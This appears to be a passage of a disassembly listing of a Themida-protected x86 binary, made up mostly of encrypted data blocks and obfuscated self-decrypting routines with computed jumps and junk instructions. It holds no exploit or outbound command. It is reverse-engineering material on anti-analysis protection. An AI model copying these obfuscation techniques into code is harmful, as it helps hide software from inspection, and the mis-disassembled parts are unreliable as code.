		dd 0DBE3435Dh, 57B69A30h, 0C44191EAh, 13A6C6DCh, 27C5157Eh
		dd 5DDA3C49h, 13A6D8A6h, 9B60CB34h, 3713A6D8h, 0B32575CEh
		dd 0E4FEE09Fh, 976CE933h, 4313A6E6h, 4D6F81DAh,	0DDFBD573h
		dd 0E62BD2CBh, 0AA813A6h, 3FDA1230h, 1E36132Dh,	8096748Ah
		dd 455C248h, 0AA480000h, 0DE79B1D1h, 7956F7CCh,	32AF1161h
		dd 1442A04Dh, 307043FAh, 1F701410h, 10DEA4B6h, 0F10DE833h
		dd 0F70DEBB9h, 3FCB24BFh, 0A3F34C60h, 87C22C31h, 0D6DA95Fh
		dd 4A98096h, 224456BCh,	0D2228C03h, 0DFF3D270h,	1FA0CA7h
		dd 13A6768Fh, 860365C5h, 13A679F1h, 0F289F45Dh,	6013A679h
		dd 0D4669EF7h, 0D1801462h
		dd 0A7F77E55h, 0A6F4552Ah, 86980113h, 0A6F4F28Dh, 1C485913h
		dd 77C99F60h, 4738D8h, 4D610000h, 0BA1C6C42h, 0A024DB58h
		dd 49B21442h, 0A9883E37h, 0A94713A6h, 0B07EB6CAh, 0E47FB7D7h
		dd 319A798Bh, 0A9B34CF9h, 5E413A6h, 0CEBB9F1h, 17F2C0F8h
		dd 2B28C3FBh, 18702064h, 0E01F5F07h, 0F5D87808h, 104h
		dd 6179561Eh, 49987311h, 0E7F9526Eh, 5C785321h,	19F49224h
		dd 7D9371FDh, 5C74516Bh, 1BF49224h, 0F2CFE9FBh,	0FA6C46DAh
		dd 61B34EC6h, 0FA77C7EDh, 14425B05h, 5D5668D1h,	14425F48h
		dd 9AEA02DFh, 0A0C4BB38h, 32921443h, 43A1CEB5h,	0CA238C14h
		dd 0A38096B8h, 137C538Bh, 41D94B9Bh, 0CCE2C068h, 0E898106Ch
		dd 6D7BF8D6h, 3B13A775h, 70A8C49Fh, 0C9E87CD5h,	0BEDAB5C6h
		dd 15B31565h, 19E71F39h, 51EC243Ch, 45EDE6F8h, 171441A0h
		dd 9AFC5EAEh, 8E74661Dh, 798BF41Bh, 1868845Fh, 744239B6h
		dd 0A7101B8Eh, 825D7395h, 0ACFD1266h, 5A9A6234h, 2D6D4h
		dd 0CEF0C800h, 2B4B243Ah, 8BA58197h, 0EE02E1F7h, 4D69445Ah
		dd 411AE0B9h, 0A0B64A66h, 0FE14A8C6h, 60760A20h, 24D76B83h
		dd 0ED00F774h, 89CE13A9h, 2C7B56FAh, 49DD3650h,	64375633h
		dd 0A8E3CBB2h, 0B28C2079h, 6A1A3514h, 0DB809779h, 6E4355AEh
		dd 375424Dh, 0ECBD43BEh, 4FB66FEh, 0D2144256h, 43C01069h
		dd 13A65F8Dh, 0B7D3AE4Ch, 255DC6A5h, 0A65F8778h, 73334413h
		dd 7712B44Bh, 1970E2D8h, 1920F2C9h, 0C653F204h,	73000000h
		dd 6DEAF7D5h, 13A64796h, 7082DB44h, 6179569Bh, 64805B29h
		dd 0A4167F2Ch, 24011442h, 8562780Ch, 49BB1D6Dh,	66574DAh
		dd 9E65D0FBh, 3C1442C8h, 24FBC1D3h, 76F3436Bh, 13A6C668h
		dd 0A5BD9A36h, 0E579D26Dh, 95E5C9C6h, 40319F18h, 0DA73E314h
		dd 22C2B921h, 62C3D434h, 1FA25764h, 0FED876C6h,	0FB0DA8E0h
		dd 55A47F1Dh, 6F035C7Ch, 0E627E59h, 62366C0Bh, 0D0DA60A0h
		dd 0CE000001h, 2A40D4F6h, 879D3151h, 0E7FD91ABh, 4A60F408h
		dd 0E6BF536Fh, 506C4700h, 0AECCA6BCh, 1026041Ah, 7189667Ch
		dd 0FD7A2ADDh, 13A9EE06h, 56008FD4h, 0F1CB5F7Bh, 0F8E3017Fh
		dd 0D626D436h, 42AAA259h, 0B5C73014h, 12A6BE9Bh, 0B3309241h
		dd 1442A0CCh, 0D6AD2A8Ah, 841442A0h, 96B0C21Bh,	0B351A1B9h
		dd 5230BCD8h, 96642A3Ch, 0F70DA1B9h, 14B2021Ah,	4AE51D39h
		dd 0F49B7238h, 83ED6ABAh, 5113A6B9h, 22F9B0E8h,	61EFB62h
		dd 5CEB44B6h, 45336D6Ch, 9DF21133h, 4923C111h, 858F32Bh
		dd 0A660F48Bh, 0E7F96213h, 7AAA8C09h, 4FB81442h, 6D8361FFh
		dd 0C2889A35h, 0C7FF17F4h, 0B6BEE663h, 0E785D5D9h, 1EB9F10Bh
		dd 649CB692h, 5CD9B7C9h, 1C6E61FAh, 758B1F88h, 7A488098h
		dd 974E869Ch, 0BC9984C0h, 9EF110A4h, 2943C010h,	0A7040A4Ch
		dd 274063Eh, 0B82B4C2Eh, 0E2FC0EEFh, 0E7B5ED05h, 0E8B6EE0Eh
		dd 1EB9F10Dh, 8C68B792h, 0A2E11972h, 72E7ABDBh,	246BEB9Bh
		dd 7BC83A8Ah, 7E5F041Fh, 0D4FC1B60h, 237C06D4h,	54B63311h
		dd 1B0C37FFh, 16939E7Dh, 3337C061h, 0F32B84EDh,	0FE674658h
		dd 18F2906Ah, 0C0F18603h, 0F45D3337h, 0B6C8639Bh, 3EBBFC93h
		dd 3337C0B9h, 353AC15h,	0DCFA9186h, 1C54BD34h, 0C559714Eh
		dd 82BAD2AFh, 815F19D5h, 0DA4C0A74h, 0A348519Bh, 8421339Eh
		dd 68805DC0h, 0C9E1BED4h, 0D0E4C391h, 0D1F1CA98h, 0F58A0799h
		dd 616B410Bh, 788E6CF8h, 0F2B28940h, 933149BEh,	0CD68A0B4h
		dd 0F7661EBBh, 586E021Ah, 992B637Bh, 0A6BA9937h, 410B443Bh
		dd 63A2126Bh, 0A0E4A0C0h, 0FE7BCB24h, 6B41E079h, 885A6CD5h
		dd 3, 563E8D17h, 56245C7Eh, 5B296179h, 612F677Dh, 63316987h
		dd 66346C88h, 69376F8Bh, 703E768Ah, 74427A94h, 0EE437B9Bh
		dd 81E28952h, 4C2h, 4EA8300h, 31241433h, 14332414h, 89575C24h
		dd 4C781E7h, 83000000h,	3C8704EFh, 34895C24h, 66406824h
		dd 0C890000h, 4EC8124h,	89000000h, 1CB82404h, 3556202Dh
		dd 188D244Dh, 32A93540h, 0C6894946h, 4EC8358h, 83242489h
		dd 59042404h, 7FDF68h, 24048900h, 8B8h,	89C80100h, 0C8B5830h
		dd 0E2895224h, 4C281h, 0C2810000h, 4, 5C241487h, 5324348Bh
		dd 0C381E389h, 4, 8704C383h, 0E95C241Ch, 0FFF92CF7h, 1774D684h
		dd 0BFFA271Fh, 2383B9A2h
; ---------------------------------------------------------------------------


loc_5F759C:				; CODE XREF: Themida_:loc_5F5FD7j
		mov	eax, 7EB506Dh
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		db 0DAh, 5Dh, 2Ah
		dd 96E76062h, 1AEAB34Fh, 5D7D0F16h, 0DC1F1939h,	0EFD43033h
		dd 85DE1705h, 3A150B2Bh, 61ADD73Bh, 7ECB22Bh, 0DAF5FA15h
		dd 0FB7B9C4Fh, 92850851h, 6212430Ah, 4FAA8827h,	0F492433Fh
		dd 0F72A082Eh, 93E1B04Fh, 14175E45h, 97DD4E35h,	7C89EA16h
		dd 2A8D8D7Ah, 6A07EB52h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 14042444h, 42000000h, 0BFF9C352h,	4FFD3020h
		dd 1B718D89h, 896007E4h, 0E4220595h, 21958B07h,	6107E42Ah
		dd 2DA185C7h, 58D807E4h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 180424h, 55450000h, 8436E9C3h, 0C7F9C25Dh
		dd 0E422B985h, 7, 0C0816600h, 0B5FF925Ah, 7E40A59h, 0C398D681h
		dd 95FF2548h, 7E43061h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 14h, 0A7C35545h, 4259589h,	850F07E4h, 6, 1D6DB58Bh
		dd 6A07E4h, 0E4195FFh, 0C08B07E4h, 3D2538EBh, 0A1672D0Ch
		dd 0D0210A55h, 1974F04Dh, 9FEBC69Fh, 0DB0B6BF8h, 75AA4C6Bh
		dd 5F754031h, 0A43E7AADh, 473DEE69h, 0B048A2FCh, 0E3CFD71Eh
		dd 2FA2CD83h, 0D2808702h, 5FE990B1h
		db 1, 2	dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_5F76F7	proc near		; CODE XREF: sub_4068E0+12Bp
					; sub_409CA0+1Dp ...
		push	edx
		mov	edx, esp
		pusha
		call	$+5
		pop	ebp
		sub	ebp, 7EB5275h
		mov	eax, [edx+8]
		cmp	eax, 78263845h
		jnz	loc_5F784D
		mov	eax, [edx+0Ch]
		mov	ecx, [edx+18h]
		ror	eax, cl
		mov	ebx, 384C4A89h
		xor	eax, ebx
		sub	eax, 4
		mov	[ebp+7E41B71h],	eax
		mov	ebx, [eax+4]
		mov	edi, eax
		mov	eax, [edx+10h]
		mov	ecx, [edx+18h]
		ror	eax, cl
		mov	esi, 0C42888CEh
		xor	eax, esi
		sub	eax, edi
		and	eax, 0FFFFFFFCh
		sub	eax, 4
		mov	[ebp+7E42DA1h],	eax
		mov	eax, [edx+14h]
		mov	[ebp+7E422B9h],	eax
		mov	eax, [edx+18h]
		push	ebx
		jmp	loc_5F7811
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+7E40A59h]
		jmp	loc_5F7825
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+7E406A5h]
		jmp	loc_5F7825
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+7E41811h]
		jmp	loc_5F7825
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+7E40919h]
		jmp	loc_5F7825
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+7E422FDh]
		jmp	loc_5F7825
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+7E41581h]
		jmp	loc_5F7825
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+7E41E15h]
		jmp	loc_5F7825
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+7E40AEDh]
		jmp	loc_5F7825
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+7E402D5h]
		jmp	loc_5F7825
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+7E41D49h]
		jmp	loc_5F7825
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+7E41E8Dh]
		jmp	loc_5F7825
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+7E42291h]
		jmp	loc_5F7825
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+7E41D5Dh]
		jmp	loc_5F7825
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+7E42BF1h]
		jmp	loc_5F7825
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+7E40635h]
		jmp	loc_5F7825
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+7E40E15h]
		jmp	loc_5F7825
; ---------------------------------------------------------------------------


loc_5F7811:				; CODE XREF: sub_5F76F7+65j
		mov	ebx, eax
		mov	eax, 0Bh
		mul	bx
		lea	ecx, [ebp+7EB52D6h]
		add	ecx, eax
		jmp	ecx
; ---------------------------------------------------------------------------


loc_5F7825:				; CODE XREF: sub_5F76F7+70j
					; sub_5F76F7+7Bj ...
		call	dword ptr [ebp+7E43061h]
		pop	ebx


loc_5F782C:				; CODE XREF: sub_5F76F7+14Ej
		mov	eax, [ebp+7E41B71h]
		cmp	[eax+4], ebx
		jnz	loc_5F784A
		push	ebx
		push	1
		call	dword ptr [ebp+7E40E41h]
		pop	ebx
		jmp	loc_5F782C
; ---------------------------------------------------------------------------


loc_5F784A:				; CODE XREF: sub_5F76F7+13Ej
		popa
		pop	edx
		retn
; ---------------------------------------------------------------------------


loc_5F784D:				; CODE XREF: sub_5F76F7+18j
		popa
		pop	edx
		mov	eax, 7E41A8ADh
		jmp	eax
sub_5F76F7	endp

; ---------------------------------------------------------------------------
		mov	eax, [ebp+7E42169h]
		lea	ecx, [ebp+7EB53C4h]
		mov	[ecx+1], eax
		mov	eax, ebx
		mov	byte ptr [ebp+7E42C2Dh], 56h
		push	0A9C530DFh
		push	dword ptr [ebp+7E42141h]
		lea	eax, [ebp+7E7B0A7h]
		call	eax
		lea	ecx, [ebp+7E426C1h]
		push	ecx
		push	40h
		push	dword ptr [ebp+7E406EDh]
		push	dword ptr [ebp+7E40929h]
		call	eax
		push	dword ptr [ebp+7E406EDh]
		push	dword ptr [ebp+7E40929h]
		call	sub_5F78AE
		or	al, 46h
		fild	dword ptr [esi+esi*4]

; =============== S U B	R O U T	I N E =======================================



sub_5F78AE	proc near		; CODE XREF: Themida_:005F78A4p

arg_4		= dword	ptr  8

		pop	edi
		pop	edi
		sub	edi, 4
		shr	[esp-8+arg_4], 2
		shl	[esp-8+arg_4], 2
		add	edi, [esp-8+arg_4]
		neg	[esp-8+arg_4]
		mov	edx, 0


loc_5F78C6:				; CODE XREF: sub_5F78AE:loc_5F78F5j
		push	dword ptr [edx+edi]
		pop	ebx
		sub	ebx, 41212367h
		add	ebx, 5144434Dh
		add	ebx, 5475ADADh
		mov	[edi+edx], ebx
		sub	edx, 4
		cmp	edx, [esp-8+arg_4]
		jnz	loc_5F78F5
		jmp	loc_5F790A
; ---------------------------------------------------------------------------
		dd 4B12306Eh
		db 0E9h
; ---------------------------------------------------------------------------


loc_5F78F5:				; CODE XREF: sub_5F78AE+37j
		jmp	loc_5F78C6
; ---------------------------------------------------------------------------
		imul	ebx, [eax+3Ah],	5Ch
		mov	eax, ds:0EB79223Ch
		mov	[ebx-266D1692h], bl


loc_5F790A:				; CODE XREF: sub_5F78AE+3Dj
		lea	ebx, [ebp+7E40405h]
		mov	eax, [ebx]
		or	eax, eax
		jz	loc_5F7921
		mov	eax, [ebx]
		mov	ebx, [ebx+4]
		mov	[eax], ebx


loc_5F7921:				; CODE XREF: sub_5F78AE+66j
		mov	ecx, ecx
		call	near ptr loc_5F793B+1
		add	ah, [edi-4E27C56Ch]
		push	ds
		out	37h, al
		movsd
		outsd
		and	al, 0D9h
		xor	cl, [esi-5DE83ED3h]


loc_5F793B:				; CODE XREF: sub_5F78AE+75p
		mov	eax, large ds:6E8h
sub_5F78AE	endp ; sp-analysis failed

		add	[esi+edx+26h], bl
		bound	esi, [edx]
		imul	eax, [ecx-3DF2D80Dh], 80595F74h
		jmp	short near ptr loc_5F7979+3
; ---------------------------------------------------------------------------
		add	ecx, 632Bh
		pusha
		jmp	loc_5F796D
; ---------------------------------------------------------------------------
		dw 0DE3Ah
		dd 4B0A77E6h, 80041D81h, 18468BA9h
		db 23h
; ---------------------------------------------------------------------------


loc_5F796D:				; CODE XREF: Themida_:005F7959j
		popa
		mov	esi, 5D39CD7Bh
		sub	esi, 5D39B4E0h


loc_5F7979:				; CODE XREF: Themida_:005F7950j
		jmp	loc_5F7985
; ---------------------------------------------------------------------------
		dw 0F207h
		dd 0F930DBD2h
		db 7Ah
; ---------------------------------------------------------------------------


loc_5F7985:				; CODE XREF: Themida_:loc_5F7979j
					; Themida_:005F79E2j
		push	dword ptr [ecx]
		pop	eax
		mov	dh, 3Ah
		sub	eax, 1F9F3Ah
		mov	dh, bl
		sub	eax, 0F9A6FC8h
		add	eax, 53785ACBh
		jmp	loc_5F79B0
; ---------------------------------------------------------------------------
		db 0A0h
		dd 705737D8h, 0AD54394Ch, 9F23C51h
; ---------------------------------------------------------------------------


loc_5F79B0:				; CODE XREF: Themida_:005F799Ej
		push	eax
		jg	loc_5F79BD
		or	edx, 7606110Ah


loc_5F79BD:				; CODE XREF: Themida_:005F79B1j
		pop	dword ptr [ecx]
		js	loc_5F79CA
		xor	dx, 452Eh


loc_5F79CA:				; CODE XREF: Themida_:005F79BFj
		sub	ecx, 4
		jnz	loc_5F79DC
		ja	loc_5F79DC
		or	bl, 19h


loc_5F79DC:				; CODE XREF: Themida_:005F79CDj
					; Themida_:005F79D3j
		sub	esi, 1
		jnz	loc_5F7985
		xor	dh, 94h
		lea	ecx, [ebp+7EB55CEh]
		mov	[ebp+7E41B71h],	ecx
		push	0
		push	edx
		call	sub_5F7A02
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5F7A02	proc near		; CODE XREF: Themida_:005F79FAp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 15h
		inc	edx
		push	edx
		retn
sub_5F7A02	endp

; ---------------------------------------------------------------------------
		fsubp	st(3), st
		mov	dword ptr [ebp+7E42DA1h], 5E1Ch
		clc
		mov	dword ptr [ebp+7E422B9h], 0
		xor	si, 0DB39h
		push	dword ptr [ebp+7E406A5h]
		xor	edx, [ebp+7E42AD9h]
		call	dword ptr [ebp+7E43061h]
		pusha
		xor	ecx, 53BE0282h
		jmp	loc_5F7A51
; ---------------------------------------------------------------------------


loc_5F7A4C:				; CODE XREF: Themida_:005F7AA7j
		db	65h
		dec	ecx
		cdq
		aam	1Fh


loc_5F7A51:				; CODE XREF: Themida_:005F7A47j
		popa
		push	0
		call	dword ptr [ebp+7E40E41h]
		mov	eax, eax
		jmp	short loc_5F7A9B
; ---------------------------------------------------------------------------
		dw 4CF9h
		dd 7CECDF50h, 3E25AEA6h, 66AEA9BDh, 0BF0C2751h,	37CE5484h
		dd 41430F7Dh, 0EF7BC23Ch, 0AF010F0Bh, 4DE17498h, 735F9B77h
		dd 33F81767h, 18E3B631h, 3F9EEA16h, 48D9AAA8h
		db 11h,	0A8h, 7Ch
; ---------------------------------------------------------------------------


loc_5F7A9B:				; CODE XREF: Themida_:005F7A5Cj
		call	sub_5F7AAB
		fsubp	st(2), st
		xchg	eax, esi
		fidiv	dword ptr [ebx+edi*4+36h]
		jbe	short loc_5F7A4C
		retn
; ---------------------------------------------------------------------------
		db 6Ah

; =============== S U B	R O U T	I N E =======================================



sub_5F7AAB	proc near		; CODE XREF: Themida_:loc_5F7A9Bp
		adc	cx, 9194h
		pop	esi
		push	esi
		mov	ecx, [ebp+7E40979h]
		pop	edx
		add	esi, 7181h
		mov	dl, 23h
		mov	edi, 0D4EC6Bh
		xor	edi, 0D4F05Fh
		mov	cx, di


loc_5F7ACF:				; CODE XREF: sub_5F7AAB:loc_5F7B43j
		mov	ebx, [esi]
		add	[ebp+7E42451h],	ecx
		add	ebx, 65927195h
		jno	loc_5F7AE5
		mov	ch, 0E6h


loc_5F7AE5:				; CODE XREF: sub_5F7AAB+32j
		sub	ebx, 147B825Ah
		xor	edx, 63DF8C0Fh
		xor	ebx, 39170502h
		sub	eax, [ebp+7E405C5h]
		push	ebx
		mov	edx, [ebp+7E41F1Dh]
		pop	dword ptr [esi]
		mov	edx, [ebp+7E4067Dh]
		sub	esi, 4
		pusha
		mov	edi, [ebp+7E42A69h]
		mov	si, bx
		popa
		sub	edi, 1
		jnz	loc_5F7B43
		mov	[ebp+7E41505h],	eax
		jmp	loc_5F7B55
; ---------------------------------------------------------------------------
		db 32h,	5Ah, 19h
		dd 44025A95h, 2E7C34D6h, 2247D36Ch
		db 0E2h, 0E5h, 0B4h
; ---------------------------------------------------------------------------


loc_5F7B43:				; CODE XREF: sub_5F7AAB+75j
		jmp	loc_5F7ACF
; ---------------------------------------------------------------------------
		dd 0FB4D6C4h, 0C8AFF110h, 418B22A6h
		db 34h
; ---------------------------------------------------------------------------


loc_5F7B55:				; CODE XREF: sub_5F7AAB+81j
		jmp	loc_5F7B65
; ---------------------------------------------------------------------------
		dw 84Fh
		dd 4919h, 0
		db 0
; ---------------------------------------------------------------------------


loc_5F7B65:				; CODE XREF: sub_5F7AAB:loc_5F7B55j
		jmp	loc_5F8078
; ---------------------------------------------------------------------------
		push	7EB57DEh
		jmp	loc_58A287
; ---------------------------------------------------------------------------
		push	7EB5847h
		jmp	loc_58A287
; ---------------------------------------------------------------------------
		push	7EB59D5h
		jmp	loc_58A287
; ---------------------------------------------------------------------------
		dd 0C5597B53h, 22B6D6AFh, 8216300Ch, 0E5798D6Ch, 44D8F4CFh
		dd 0F1CC856Bh, 512B41D5h, 0AB899F33h, 0EEB0195h, 0FFAF62F6h
		dd 0A9F6FD82h, 85145913h, 275F7B56h, 53317C59h,	116A053Dh
		dd 7D315E7Dh, 8B32B02Dh, 178013A6h, 69FA55C7h, 7A53409Dh
		dd 9E10A268h, 4F7E1D49h, 40394BA4h, 13A6CFBFh, 134BFB0Ch
		dd 0D877A2ECh, 38FD38AAh, 709EA466h, 31CBF5Eh, 41DF0000h
		dd 79144C64h, 0C7459267h, 50A00E81h, 0A68C05D3h, 963D313h
		dd 323C87Fh, 46515AB3h,	0EEC3E5CCh, 1D6D414Eh, 0DCBB59BBh
		dd 8AF590C8h, 110B2AF5h, 0EDE6F861h, 16EF2B8Fh,	0E5BCF45Dh
		dd 52B404AAh, 84BCDAB4h, 0C1DED7E9h, 8D1E8B10h,	5936D424h
		dd 8A16340Eh, 0BE5991B1h, 0DEBBD165h, 0D59572C6h, 0B2F25CEFh
		dd 3742Ch, 3A5C3400h, 97B790A6h, 0F711ED03h, 5A6E4D63h
		dd 0B9D5B0C6h, 0ADA64C25h, 0C22B6D2h, 6A801432h, 0CCE2768Ch
		dd 9043D7EFh, 0F79C63E0h, 0F53A13A9h, 6C424D66h, 0F60F9F1Ch
		dd 0DC4513A9h, 0FA10EE8Ch, 916C0AE8h, 6907E175h, 64906D8Ch
		dd 0C330FD63h, 633E586Ah, 66620F47h, 0F9EC5699h, 61B0041Ch
		dd 3A6A15D5h, 30B74FAh,	0C59D0000h, 20F90FA3h, 7A566C00h
		dd 0D7B6CC60h, 3E192FC3h, 4FB58E22h, 8B1F3B16h,	0E97D9B75h
		dd 4BDFF5D3h, 0AC405835h, 37CC49F9h, 0A313A9F8h, 424DCF5Eh
		dd 0A57E1C6Ch, 0A0B24D85h, 0F66945C2h, 82EB13A9h, 0A1B59432h
		dd 1A6ECE69h, 0EEDEF54h, 46F3B9CBh, 13A923B5h, 19450112h
		dd 0D8709AE6h, 193912B0h, 1C3813E1h, 0DB12B1C3h, 32000001h
		dd 2BAC53D0h, 0BA2A13A9h, 14F66A89h, 95A7000Eh,	617956C0h
		dd 667E5B29h, 1996F8D2h, 1442A062h, 0AF23F4E1h,	0A8F9E09Bh
		dd 8D72EF3Fh, 49144238h, 0E4ABCEE0h, 0FFDC7ACAh, 214AFE7h
		dd 0D750C224h, 54B67035h, 292C128Fh, 84DD578Bh,	0D3777972h
		dd 0D43D13A6h, 0EE980A9Ch, 126917E4h, 0F38C8597h, 5813A6BDh
		dd 0A05F1F47h, 35D87800h, 34h, 65424D5Eh, 0A8836FECh, 0CBF82C8Ch
		dd 0CD26421Dh, 24C22474h, 59F42C4Ah, 0B5984E47h, 0ED5613A6h
		dd 857708B5h, 0C3D413A6h, 0EC24DB83h, 0BBB1D877h, 0DA000000h
		dd 502E7956h, 0DBA9E13Ah, 8B70ED00h, 471442A0h,	0BB4D85DEh
		dd 1426421Dh, 0CD051DFAh, 0AABE9D3Bh, 0ABC5D772h, 466B6CEh
		dd 84BF6792h, 96012DF9h, 1442BFE1h, 0BF0AF16Eh,	5FC81442h
		dd 3F19A50Eh, 3C4EE921h, 0BB84251Ah, 0BE9B1442h, 9CF312A6h
		dd 91EA02DFh, 6366C441h, 57F513A4h, 6D4C5E7Eh, 3B16B404h
		dd 0C7C99E18h, 50A9951Bh, 0AFCBA6BCh, 19D6C05Bh, 29AFEF6Ah
		dd 17Dh, 9D31532Bh, 0FA8EAE87h,	5AEE08E4h, 0BD516544h
		dd 1CB0CCA7h, 0C9A4BD43h, 290319ADh, 8361770Bh,	0E6C3D96Dh
		dd 0D7873ACEh, 0A9F9A55Ah, 5DEC3113h, 0CB5F7B56h, 5F7553F1h
		dd 3E56334Dh, 3092D9AAh, 42A0CCB3h, 0F218A14h, 0F2CD18F5h
		dd 0BB2D7DD6h, 0D5CD2B5Eh, 975D6F41h, 40D4ECC9h, 0F0406E21h
		dd 0A6E46F73h, 74C42D13h, 0D3ACFBD6h, 3089A580h, 76943D7h
		dd 0FB5328A5h, 96FF13A6h, 0A6FB542Bh, 0D990213h, 47E21A2Eh
		dd 0FB433C35h, 9E1013A6h, 0EA9CD74h, 0F27A59FEh, 0EE27CC2Ch
		dd 0B693ADBFh, 19F40A9Eh, 340FADFDh, 0E545E018h, 7F444D81h
		dd 2FF5072Eh, 0C4A9h, 424D3800h, 0B435D39h, 27DB5C69h
		dd 29823734h, 0B70380D0h, 0A613A9ABh, 0D8102E08h, 0BA132F0Ah
		dd 1416ED6Ah, 5BC413A9h, 0B1016A49h, 0AC9B353Fh, 0C9DB1983h
		dd 40583503h, 5D7552F0h, 61169325h, 0ED13A931h,	0F7192B84h
		dd 9CEC04E1h, 0FAD522FEh, 0B20BA6DEh, 532DDAA0h, 305D5B65h
		dd 0AF8CF3B3h, 25D54797h, 0A3C39C0Ch, 0F370D06Bh, 9FC1D33Ah
		dd 568DAC89h, 0D4E86907h, 5991AB87h, 981565BEh,	429F0CE3h
		dd 5DAD066Fh, 49F4A6EBh, 74F05070h, 7C425483h, 0DDB4CFAEh
		dd 0BB423E16h, 762D65BEh, 9B78E79Fh, 0DE680F8Ch, 0D2AB429Fh
		dd 0A8F861B2h, 9FDE542Bh, 40990242h, 0A1B996ACh, 3E369h
		dd 8D720000h, 5C7E563Eh, 61795624h, 677D5B29h, 6987612Fh
		dd 6C886331h, 6F8B6634h, 768A6937h, 7A94703Eh, 7B9B7442h
		dd 8953EE43h, 4C381E3h,	83000000h, 1C8704EBh, 2C895C24h
		dd 3DC6824h, 34890000h,	773B6824h, 3C890000h, 0BF575524h
		dd 2AC7233Bh, 3263DCBDh, 5FFD2969h, 80165CBEh, 5DEE01C9h
		dd 4EC81h, 24890000h, 24048324h, 65685F04h, 89000015h
		dd 478F2434h, 2434FF08h, 4C4815Fh, 0FF000000h, 835E2434h
		dd 1CE904C4h, 0A5FFF922h, 0D2059E50h, 5A302644h, 0D35119Fh
; ---------------------------------------------------------------------------


loc_5F8078:				; CODE XREF: sub_5F7AAB:loc_5F7B65j
		mov	eax, 7EB5B77h
		add	eax, ebp
		jmp	eax
sub_5F7AAB	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 7Bh,	6Dh, 63h
; ---------------------------------------------------------------------------
		inc	ecx
		retf	0F100h
; ---------------------------------------------------------------------------
		dd 0AD0A5D7Ch, 188B825h, 901F7E6Ch, 0C8C13232h,	2C22AD50h
		dd 704F6F07h, 7CBA9C77h, 0BFE26F07h, 0C93B556h,	0DC754D54h
		dd 8D030308h, 0C544265Fh, 711EF501h, 0ABCE3625h, 9637818h
		dd 0C0379617h, 4963582Bh, 0B66B2A10h, 0AE6D1A56h, 0CE4D0A29h
		dd 11E83Fh, 456F0000h, 0B8641871h, 0EBA35E1Fh, 0F352109Ah
		dd 0B62E2F5Eh, 81665BD9h, 81177FDAh, 5C9FC3h, 0F08B6600h
		dd 0D3CB8B9h, 0BAE9813Fh, 0F3F0D25h, 33FFD6B7h,	5FF28B66h
		dd 0F6BE5356h, 5A4D7A83h, 0F2C7815Eh, 0BA7BC6E7h, 788136E0h
		dd 9E51F781h, 14E94FC3h, 0CD000000h, 8421F666h,	40468346h
		dd 13E21F0h, 0C5722948h, 819AA588h, 89179BF7h, 57D78B76h
		dd 69D5DA81h, 38F4E5Ch,	81C2BF0Fh, 6210EAEBh, 0CA816668h
		dd 0C38174D0h, 686210E6h, 49C1BF0Fh, 0FF98850Fh, 0EE9FFFFh
		dd 88000000h, 46BB64E9h, 286687C8h, 101CA3A9h, 5E824h
		dd 0FCE90000h, 0E99E01FCh, 0Bh,	732A6376h, 0A962A740h
		dd 5B3EBDC5h, 0AE8h, 76FDE00h, 9B40D7F9h, 0E90E43A6h, 0Ch
		dd 5C9E4910h, 0D3A80EE5h, 87EFA7E3h, 79C3815Eh,	0E9000059h
		dd 9, 0BFC105D7h, 6DAB73E3h, 163168B5h,	0E95F0000h, 10h
		dd 7A298084h, 32927872h, 0CE9973B9h, 0A1A659E2h, 0EA81038Bh
		dd 1E1C20A1h, 9543F081h, 81F96BCEh, 305371C0h, 0D18B6017h
		dd 61D7BF0Fh, 0E20EE881h, 6E96B82h, 3000000h, 4051C91Ah
		dd 0F5038955h, 0F04EB83h, 38Ah,	0CFB70F00h, 1EF81h, 850F0000h
		dd 0FFFFFFB8h, 5820Fh, 81660000h, 8B2234C1h, 0F1BD83C0h
		dd 7E413h, 0BD830975h, 7E40935h, 50197400h, 0B8C08B53h
		dd 421h, 14798589h, 9D8D07E4h, 7E6E9F0h, 585BD3FFh, 935BD83h
		dd 740007E4h, 0B8535017h, 421h,	14798589h, 9D8D07E4h, 7E6E6DFh
		dd 585BD3FFh, 9D8BC08Bh, 7E415DDh, 2C2D85C6h, 685607E4h
		dd 9CA8B852h, 2141B5FFh, 858D07E4h, 7E7B0A7h, 46AD0FFh
		dd 100068h, 1B5FF00h, 6A07E41Ah, 85D0FF00h, 0D850FC0h
		dd 0B8000000h, 0
; ---------------------------------------------------------------------------
		lea	ecx, [ebp+7E472B7h]
		jmp	ecx
; ---------------------------------------------------------------------------
		dd 0C38BC88Bh, 53C4003h, 0F8h, 30C508Bh, 5BD83D3h, 7E404h
		dd 0E840Fh, 9D8B0000h, 7E40405h, 3215858Bh, 38907E4h, 858D5251h
		dd 7E44452h, 0FA8BD0FFh, 0D18BF18Bh, 0A4F3C88Bh, 2C2D85C6h
		dd 685607E4h, 0D41F6D39h, 2141B5FFh, 858D07E4h,	7E7B0A7h
		dd 68D0FFh, 6A000080h, 0D0FF5200h, 0BD83C08Bh, 7E413F1h
		dd 83097500h, 0E40935BDh, 19740007h, 0C08B5350h, 421B8h
		dd 0ED858900h, 8D07E40Eh, 0E6EA579Dh, 5BD3FF07h, 35BD8358h
